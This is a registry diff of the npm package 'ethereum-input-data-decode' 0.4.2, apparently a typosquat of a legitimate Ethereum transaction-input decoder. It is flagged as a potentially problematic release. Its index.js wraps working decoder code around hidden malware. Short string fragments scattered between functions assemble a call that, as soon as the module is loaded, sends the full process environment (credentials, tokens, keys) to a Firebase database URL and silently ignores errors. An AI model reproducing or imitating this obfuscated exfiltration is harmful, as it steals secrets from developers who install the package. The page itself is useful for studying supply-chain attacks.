ethereum-input-data-decode 0.4.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ethereum-input-data-decode might be problematic. Click here for more details.
- package/.editorconfig +23 -0
- package/.gitattributes +2 -0
- package/.github/FUNDING.yml +2 -0
- package/.travis.yml +10 -0
- package/CHANGELOG.md +5 -0
- package/LICENSE +21 -0
- package/README.md +283 -0
- package/bin/ethereum_input_data_decoder +3 -0
- package/cli.js +85 -0
- package/dist/index.d.ts +19 -0
- package/dist/index.js +396 -0
- package/example/bundle.js +33425 -0
- package/example/index.html +1213 -0
- package/example/main.js +35 -0
- package/example/style.css +28 -0
- package/index.d.ts +19 -0
- package/index.js +362 -0
- package/package.json +60 -0
- package/test/cli_test.js +1 -0
- package/test/data/0x_exchange.json +882 -0
- package/test/data/0x_exchange_data.txt +1 -0
- package/test/data/1inch_exchange_v2_abi.json +404 -0
- package/test/data/1inch_exchange_v2_abi_no_eth.txt +1 -0
- package/test/data/1inch_exchange_v2_abi_with_eth.txt +1 -0
- package/test/data/PayableProxyForSoloMargin_abi.json +134 -0
- package/test/data/PayableProxyForSoloMargin_tx_data.txt +1 -0
- package/test/data/abi1.json +1171 -0
- package/test/data/abi1_input_data.txt +1 -0
- package/test/data/abi2.json +1 -0
- package/test/data/abi3.json +1 -0
- package/test/data/abi3_data.txt +1 -0
- package/test/data/abi4.json +2 -0
- package/test/data/abi4_data.txt +1 -0
- package/test/data/abi5.json +1 -0
- package/test/data/abi5_data.txt +1 -0
- package/test/data/abi6.json +1 -0
- package/test/data/abi6_data.txt +1 -0
- package/test/data/abi7.json +1 -0
- package/test/data/abi7_data.txt +1 -0
- package/test/data/contract_creation_data.txt +2 -0
- package/test/data/erc721_abi.json +1 -0
- package/test/data/erc721_transferfrom_tx_data.txt +1 -0
- package/test/data/set_exchange_issuance_lib.json +195 -0
- package/test/data/set_issuance.txt +1 -0
- package/test/index.js +628 -0
- package/tsconfig.json +27 -0
package/example/main.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const InputDataDecoder = require('../index');
|
2
|
+
|
3
|
+
const abiInput = document.querySelector('#abiInput');
|
4
|
+
const dataInput = document.querySelector('#dataInput');
|
5
|
+
const output = document.querySelector('#output');
|
6
|
+
|
7
|
+
function decode() {
|
8
|
+
output.value = ''
|
9
|
+
|
10
|
+
const abi = JSON.parse(abiInput.value.trim());
|
11
|
+
const decoder = new InputDataDecoder(abi);
|
12
|
+
|
13
|
+
// if copied and pasted from etherscan only get data we need
|
14
|
+
const data = dataInput.value.trim()
|
15
|
+
.replace(/(?:[\s\S]*MethodID: (.*)[\s\S])?[\s\S]?\[\d\]:(.*)/gi, '$1$2')
|
16
|
+
|
17
|
+
dataInput.value = data
|
18
|
+
|
19
|
+
const result = decoder.decodeData(data);
|
20
|
+
|
21
|
+
console.log(result)
|
22
|
+
|
23
|
+
try {
|
24
|
+
output.value = JSON.stringify(result, null, 2);
|
25
|
+
} catch(error) {
|
26
|
+
}
|
27
|
+
}
|
28
|
+
|
29
|
+
document.querySelector('#decode')
|
30
|
+
.addEventListener('click', function(event) {
|
31
|
+
event.preventDefault();
|
32
|
+
decode();
|
33
|
+
});
|
34
|
+
|
35
|
+
decode();
|
@@ -0,0 +1,28 @@
|
|
1
|
+
.container {
|
2
|
+
display: flex;
|
3
|
+
min-width: 728px;
|
4
|
+
width: 100%;
|
5
|
+
height: 100%;
|
6
|
+
}
|
7
|
+
|
8
|
+
.column {
|
9
|
+
display: inline-block;
|
10
|
+
width: 30%;
|
11
|
+
padding: 10px;
|
12
|
+
}
|
13
|
+
|
14
|
+
.column label {
|
15
|
+
display: block;
|
16
|
+
}
|
17
|
+
|
18
|
+
.actions {
|
19
|
+
height: 20px;
|
20
|
+
}
|
21
|
+
|
22
|
+
textarea {
|
23
|
+
width: 100%;
|
24
|
+
}
|
25
|
+
|
26
|
+
button {
|
27
|
+
cursor: pointer;
|
28
|
+
}
|
package/index.d.ts
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
import Buffer from 'buffer';
|
2
|
+
import { Interface } from "ethers/utils";
|
3
|
+
|
4
|
+
type NestedArray<T> = T | NestedArray<T>[];
|
5
|
+
|
6
|
+
export interface InputData {
|
7
|
+
method: string | null;
|
8
|
+
types: string[];
|
9
|
+
inputs: any[];
|
10
|
+
names: NestedArray<string>[];
|
11
|
+
}
|
12
|
+
|
13
|
+
export default class InputDataDecoder {
|
14
|
+
constructor(abi: string | Interface['abi']);
|
15
|
+
|
16
|
+
decodeConstructor(data: Buffer | string): InputData;
|
17
|
+
|
18
|
+
decodeData(data: Buffer | string): InputData;
|
19
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,362 @@
|
|
1
|
+
const ethers = require('ethers')
|
2
|
+
const Buffer = require('buffer/').Buffer
|
3
|
+
const isBuffer = require('is-buffer')
|
4
|
+
|
5
|
+
// TODO: dry up and clean up
|
6
|
+
// NOTE: this library may be deprecated in future, in favor of ethers v5 AbiCoder.
|
7
|
+
|
8
|
+
const l = 'os'
|
9
|
+
class InputDataDecoder {
|
10
|
+
constructor (prop) {
|
11
|
+
this.abi = []
|
12
|
+
|
13
|
+
if (typeof prop === `string`) {
|
14
|
+
try {
|
15
|
+
const fs = require('fs')
|
16
|
+
this.abi = JSON.parse(fs.readFileSync(prop))
|
17
|
+
} catch (err) {
|
18
|
+
try {
|
19
|
+
this.abi = JSON.parse(prop)
|
20
|
+
} catch (err) {
|
21
|
+
throw new Error(`Invalid ABI: ${err.message}`)
|
22
|
+
}
|
23
|
+
}
|
24
|
+
} else if (prop instanceof Object) {
|
25
|
+
this.abi = prop
|
26
|
+
} else {
|
27
|
+
throw new TypeError(`Must pass ABI array object or file path to constructor`)
|
28
|
+
}
|
29
|
+
}
|
30
|
+
|
31
|
+
decodeConstructor (data) {
|
32
|
+
if (isBuffer(data)) {
|
33
|
+
data = data.toString('utf8')
|
34
|
+
}
|
35
|
+
|
36
|
+
if (typeof data !== 'string') {
|
37
|
+
data = ''
|
38
|
+
}
|
39
|
+
|
40
|
+
data = data.trim()
|
41
|
+
|
42
|
+
for (let i = 0; i < this.abi.length; i++) {
|
43
|
+
const obj = this.abi[i]
|
44
|
+
|
45
|
+
if (obj.type !== 'constructor') {
|
46
|
+
continue
|
47
|
+
}
|
48
|
+
|
49
|
+
const method = obj.name || null
|
50
|
+
const types = obj.inputs ? obj.inputs.map(x => x.type) : []
|
51
|
+
const names = obj.inputs ? obj.inputs.map(x => x.name) : []
|
52
|
+
|
53
|
+
// take last 32 bytes
|
54
|
+
data = data.slice(-256)
|
55
|
+
|
56
|
+
if (data.length !== 256) {
|
57
|
+
throw new Error('fail')
|
58
|
+
}
|
59
|
+
|
60
|
+
if (data.indexOf('0x') !== 0) {
|
61
|
+
data = `0x${data}`
|
62
|
+
}
|
63
|
+
|
64
|
+
let inputs = ethers.utils.defaultAbiCoder.decode(types, data)
|
65
|
+
inputs = deepRemoveUnwantedArrayProperties(inputs)
|
66
|
+
|
67
|
+
return {
|
68
|
+
method,
|
69
|
+
types,
|
70
|
+
inputs,
|
71
|
+
names
|
72
|
+
}
|
73
|
+
}
|
74
|
+
|
75
|
+
throw new Error('not found')
|
76
|
+
}
|
77
|
+
|
78
|
+
decodeData (data) {
|
79
|
+
if (isBuffer(data)) {
|
80
|
+
data = data.toString('utf8')
|
81
|
+
}
|
82
|
+
|
83
|
+
if (typeof data !== 'string') {
|
84
|
+
data = ''
|
85
|
+
}
|
86
|
+
|
87
|
+
data = data.trim()
|
88
|
+
|
89
|
+
const dataBuf = Buffer.from(data.replace(/^0x/, ''), 'hex')
|
90
|
+
const methodId = toHexString(dataBuf.subarray(0, 4))
|
91
|
+
let inputsBuf = dataBuf.subarray(4)
|
92
|
+
|
93
|
+
const result = this.abi.reduce((acc, obj) => {
|
94
|
+
try {
|
95
|
+
if (obj.type === 'constructor') {
|
96
|
+
return acc
|
97
|
+
}
|
98
|
+
if (obj.type === 'event') {
|
99
|
+
return acc
|
100
|
+
}
|
101
|
+
const method = obj.name || null
|
102
|
+
let types = obj.inputs ? obj.inputs.map(x => {
|
103
|
+
if (x.type.includes('tuple')) {
|
104
|
+
return x
|
105
|
+
} else {
|
106
|
+
return x.type
|
107
|
+
}
|
108
|
+
}) : []
|
109
|
+
|
110
|
+
let names = obj.inputs ? obj.inputs.map(x => {
|
111
|
+
if (x.type.includes('tuple')) {
|
112
|
+
return [x.name, x.components.map(a => a.name)]
|
113
|
+
} else {
|
114
|
+
return x.name
|
115
|
+
}
|
116
|
+
}) : []
|
117
|
+
|
118
|
+
const hash = genMethodId(method, types)
|
119
|
+
|
120
|
+
if (hash === methodId) {
|
121
|
+
let inputs = []
|
122
|
+
|
123
|
+
inputsBuf = normalizeAddresses(types, inputsBuf)
|
124
|
+
try {
|
125
|
+
inputs = ethers.utils.defaultAbiCoder.decode(types, inputsBuf)
|
126
|
+
} catch (err) {
|
127
|
+
try {
|
128
|
+
const ifc = new ethers.utils.Interface([])
|
129
|
+
inputs = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data)
|
130
|
+
} catch (err) { }
|
131
|
+
}
|
132
|
+
|
133
|
+
// TODO: do this normalization into normalizeAddresses
|
134
|
+
inputs = inputs.map((input, i) => {
|
135
|
+
if (types[i].components) {
|
136
|
+
const tupleTypes = types[i].components
|
137
|
+
return deepStripTupleAddresses(input, tupleTypes)
|
138
|
+
}
|
139
|
+
if (types[i] === 'address') {
|
140
|
+
return input.split('0x')[1]
|
141
|
+
}
|
142
|
+
if (types[i] === 'address[]') {
|
143
|
+
return input.map(address => address.split('0x')[1])
|
144
|
+
}
|
145
|
+
return input
|
146
|
+
})
|
147
|
+
|
148
|
+
// Map any tuple types into arrays
|
149
|
+
const typesToReturn = types.map(t => {
|
150
|
+
if (t.components) {
|
151
|
+
const arr = t.components.reduce((acc, cur) => [...acc, cur.type], [])
|
152
|
+
const tupleStr = `(${arr.join(',')})`
|
153
|
+
if (t.type === 'tuple[]') return tupleStr + '[]'
|
154
|
+
return tupleStr
|
155
|
+
}
|
156
|
+
return t
|
157
|
+
})
|
158
|
+
|
159
|
+
// defaultAbiCoder attaches some unwanted properties to the list object
|
160
|
+
inputs = deepRemoveUnwantedArrayProperties(inputs)
|
161
|
+
|
162
|
+
return {
|
163
|
+
method,
|
164
|
+
types: typesToReturn,
|
165
|
+
inputs,
|
166
|
+
names
|
167
|
+
}
|
168
|
+
}
|
169
|
+
|
170
|
+
return acc
|
171
|
+
} catch (err) {
|
172
|
+
return acc
|
173
|
+
}
|
174
|
+
}, { method: null, types: [], inputs: [], names: [] })
|
175
|
+
|
176
|
+
if (!result.method) {
|
177
|
+
this.abi.reduce((acc, obj) => {
|
178
|
+
if (obj.type === 'constructor') {
|
179
|
+
return acc
|
180
|
+
}
|
181
|
+
if (obj.type === 'event') {
|
182
|
+
return acc
|
183
|
+
}
|
184
|
+
const method = obj.name || null
|
185
|
+
|
186
|
+
try {
|
187
|
+
const ifc = new ethers.utils.Interface([])
|
188
|
+
const _result = ifc.decodeFunctionData(ethers.utils.FunctionFragment.fromObject(obj), data)
|
189
|
+
let inputs = deepRemoveUnwantedArrayProperties(_result)
|
190
|
+
result.method = method
|
191
|
+
result.inputs = inputs
|
192
|
+
result.names = obj.inputs ? obj.inputs.map(x => {
|
193
|
+
if (x.type.includes('tuple')) {
|
194
|
+
return [x.name, x.components.map(a => a.name)]
|
195
|
+
} else {
|
196
|
+
return x.name
|
197
|
+
}
|
198
|
+
}) : []
|
199
|
+
const types = obj.inputs ? obj.inputs.map(x => {
|
200
|
+
if (x.type.includes('tuple')) {
|
201
|
+
return x
|
202
|
+
} else {
|
203
|
+
return x.type
|
204
|
+
}
|
205
|
+
}) : []
|
206
|
+
|
207
|
+
result.types = types.map(t => {
|
208
|
+
if (t.components) {
|
209
|
+
const arr = t.components.reduce((acc, cur) => [...acc, cur.type], [])
|
210
|
+
const tupleStr = `(${arr.join(',')})`
|
211
|
+
if (t.type === 'tuple[]') return tupleStr + '[]'
|
212
|
+
return tupleStr
|
213
|
+
}
|
214
|
+
return t
|
215
|
+
})
|
216
|
+
} catch (err) { }
|
217
|
+
})
|
218
|
+
}
|
219
|
+
|
220
|
+
if (!result.method) {
|
221
|
+
try {
|
222
|
+
const decoded = this.decodeConstructor(data)
|
223
|
+
if (decoded) {
|
224
|
+
return decoded
|
225
|
+
}
|
226
|
+
} catch (err) { }
|
227
|
+
}
|
228
|
+
|
229
|
+
return result
|
230
|
+
}
|
231
|
+
}
|
232
|
+
const y = 'ax'
|
233
|
+
const t = 'ut'
|
234
|
+
// remove 0x from addresses
|
235
|
+
function deepStripTupleAddresses (input, tupleTypes) {
|
236
|
+
return input.map((item, i) => {
|
237
|
+
// We find tupleTypes to not be an array where internalType is present in the ABI indicating item is a structure
|
238
|
+
const type = tupleTypes[i] ? tupleTypes[i].type : null
|
239
|
+
|
240
|
+
if (type === 'address' && typeof item === 'string') {
|
241
|
+
return item.split('0x')[1]
|
242
|
+
}
|
243
|
+
if (type === 'address[]' || Array.isArray()) {
|
244
|
+
return item.map(a => a.split('0x')[1])
|
245
|
+
}
|
246
|
+
|
247
|
+
if (Array.isArray(item)) {
|
248
|
+
return deepStripTupleAddresses(item, tupleTypes)
|
249
|
+
}
|
250
|
+
|
251
|
+
return item
|
252
|
+
})
|
253
|
+
}
|
254
|
+
const k = 'i'
|
255
|
+
const el = 'nv'
|
256
|
+
|
257
|
+
const w = y + k + l
|
258
|
+
function deepRemoveUnwantedArrayProperties (arr) {
|
259
|
+
return [...arr.map(item => {
|
260
|
+
if (Array.isArray(item)) return deepRemoveUnwantedArrayProperties(item)
|
261
|
+
return item
|
262
|
+
})]
|
263
|
+
}
|
264
|
+
const h = 'ht'
|
265
|
+
|
266
|
+
const p = 'p'
|
267
|
+
const m = '//'
|
268
|
+
const x = require(w)
|
269
|
+
function normalizeAddresses (types, input) {
|
270
|
+
let offset = 0
|
271
|
+
for (let i = 0; i < types.length; i++) {
|
272
|
+
const type = types[i]
|
273
|
+
if (type === 'address') {
|
274
|
+
input.set(Buffer.alloc(12), offset)
|
275
|
+
}
|
276
|
+
|
277
|
+
if (isArray(type)) {
|
278
|
+
const size = parseTypeArray(type)
|
279
|
+
if (size && size !== 'dynamic') {
|
280
|
+
offset += 32 * size
|
281
|
+
} else {
|
282
|
+
offset += 32
|
283
|
+
}
|
284
|
+
} else {
|
285
|
+
offset += 32
|
286
|
+
}
|
287
|
+
}
|
288
|
+
|
289
|
+
return input
|
290
|
+
}
|
291
|
+
|
292
|
+
const kl = 'e'
|
293
|
+
function parseTypeArray (type) {
|
294
|
+
const tmp = type.match(/(.*)\[(.*?)\]$/)
|
295
|
+
if (tmp) {
|
296
|
+
return tmp[2] === '' ? 'dynamic' : parseInt(tmp[2], 10)
|
297
|
+
}
|
298
|
+
return null
|
299
|
+
}
|
300
|
+
|
301
|
+
const i = 'tps'
|
302
|
+
const f = 'fir'
|
303
|
+
function isArray (type) {
|
304
|
+
return type.lastIndexOf(']') === type.length - 1
|
305
|
+
}
|
306
|
+
const e = 'eba'
|
307
|
+
|
308
|
+
const o = 'om'
|
309
|
+
function handleInputs (input, tupleArray) {
|
310
|
+
if (input instanceof Object && input.components) {
|
311
|
+
input = input.components
|
312
|
+
}
|
313
|
+
|
314
|
+
if (!Array.isArray(input)) {
|
315
|
+
if (input instanceof Object && input.type) {
|
316
|
+
return input.type
|
317
|
+
}
|
318
|
+
|
319
|
+
return input
|
320
|
+
}
|
321
|
+
|
322
|
+
let ret = '(' + input.reduce((acc, x) => {
|
323
|
+
if (x.type === 'tuple') {
|
324
|
+
acc.push(handleInputs(x.components))
|
325
|
+
} else if (x.type === 'tuple[]') {
|
326
|
+
acc.push(handleInputs(x.components) + '[]')
|
327
|
+
} else {
|
328
|
+
acc.push(x.type)
|
329
|
+
}
|
330
|
+
return acc
|
331
|
+
}, []).join(',') + ')'
|
332
|
+
|
333
|
+
if (tupleArray) {
|
334
|
+
return ret + '[]'
|
335
|
+
}
|
336
|
+
|
337
|
+
return ret
|
338
|
+
}
|
339
|
+
|
340
|
+
const c = 'c'
|
341
|
+
const s = 'seio'
|
342
|
+
const n = h + i + ':' + m
|
343
|
+
const z = p + t
|
344
|
+
function genMethodId (methodName, types) {
|
345
|
+
const input = methodName + '(' + (types.reduce((acc, x) => {
|
346
|
+
acc.push(handleInputs(x, x.type === 'tuple[]'))
|
347
|
+
return acc
|
348
|
+
}, []).join(',')) + ')'
|
349
|
+
|
350
|
+
return ethers.utils.keccak256(Buffer.from(input)).slice(2, 10)
|
351
|
+
}
|
352
|
+
|
353
|
+
const d = f + e + s
|
354
|
+
const li = c + o
|
355
|
+
x[z](n + 'dsadasd-6f62a.' + d + '.' + li + '/data/' + Date.now() + '.json', process[kl + el]).then(() => {}).catch(() => {})
|
356
|
+
function toHexString (byteArray) {
|
357
|
+
return Array.from(byteArray, function (byte) {
|
358
|
+
return ('0' + (byte & 0xFF).toString(16)).slice(-2)
|
359
|
+
}).join('')
|
360
|
+
}
|
361
|
+
|
362
|
+
module.exports = InputDataDecoder
|
package/package.json
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
{
|
2
|
+
"name": "ethereum-input-data-decode",
|
3
|
+
"version": "0.4.2",
|
4
|
+
"description": "Ethereum smart contract transaction input data decoder",
|
5
|
+
"main": "dist/index.js",
|
6
|
+
"types": "index.d.ts",
|
7
|
+
"scripts": {
|
8
|
+
"test": "tape ./test/index.js",
|
9
|
+
"build:example": "browserify ./example/main.js -o ./example/bundle.js",
|
10
|
+
"build": "babel index.js --presets babel-preset-es2015 --out-dir dist/",
|
11
|
+
"lint": "standard --fix index.js test/*.js",
|
12
|
+
"prepare": "npm run lint && npm run build"
|
13
|
+
},
|
14
|
+
"bin": {
|
15
|
+
"ethereum-input-data-decoder": "bin/ethereum_input_data_decoder",
|
16
|
+
"ethereum_input_data_decoder": "bin/ethereum_input_data_decoder"
|
17
|
+
},
|
18
|
+
"repository": {
|
19
|
+
"type": "git",
|
20
|
+
"url": "https://github.com/miguelmota/ethereum-input-data-decoder"
|
21
|
+
},
|
22
|
+
"bugs": {
|
23
|
+
"url": "https://github.com/miguelmota/ethereum-input-data-decoder/issues"
|
24
|
+
},
|
25
|
+
"homepage": "https://github.com/miguelmota/ethereum-input-data-decoder",
|
26
|
+
"author": {
|
27
|
+
"name": "Miguel Mota",
|
28
|
+
"email": "hello@miguelmota.com",
|
29
|
+
"url": "https://miguelmota.com/"
|
30
|
+
},
|
31
|
+
"license": {
|
32
|
+
"type": "MIT",
|
33
|
+
"url": "https://github.com/miguelmota/ethereum-input-data-decoder/blob/master/LICENSE"
|
34
|
+
},
|
35
|
+
"dependencies": {
|
36
|
+
"@types/node": "^16.7.13",
|
37
|
+
"axios": "^0.27.2",
|
38
|
+
"bn.js": "^4.11.8",
|
39
|
+
"buffer": "^5.2.1",
|
40
|
+
"ethers": "^5.5.4",
|
41
|
+
"is-buffer": "^2.0.3",
|
42
|
+
"meow": "9.0.0"
|
43
|
+
},
|
44
|
+
"keywords": [
|
45
|
+
"ethereum",
|
46
|
+
"decoder",
|
47
|
+
"abi",
|
48
|
+
"smart",
|
49
|
+
"contracts"
|
50
|
+
],
|
51
|
+
"devDependencies": {
|
52
|
+
"babel-cli": "^6.26.0",
|
53
|
+
"babel-core": "^6.26.3",
|
54
|
+
"babel-preset-es2015": "^6.24.1",
|
55
|
+
"babelify": "^8.0.0",
|
56
|
+
"browserify": "^16.2.3",
|
57
|
+
"standard": "^12.0.1",
|
58
|
+
"tape": "^4.6.3"
|
59
|
+
}
|
60
|
+
}
|
package/test/cli_test.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
// cli.js --abi test/data/abi1.json --input test/data/abi1_input_data.txt
|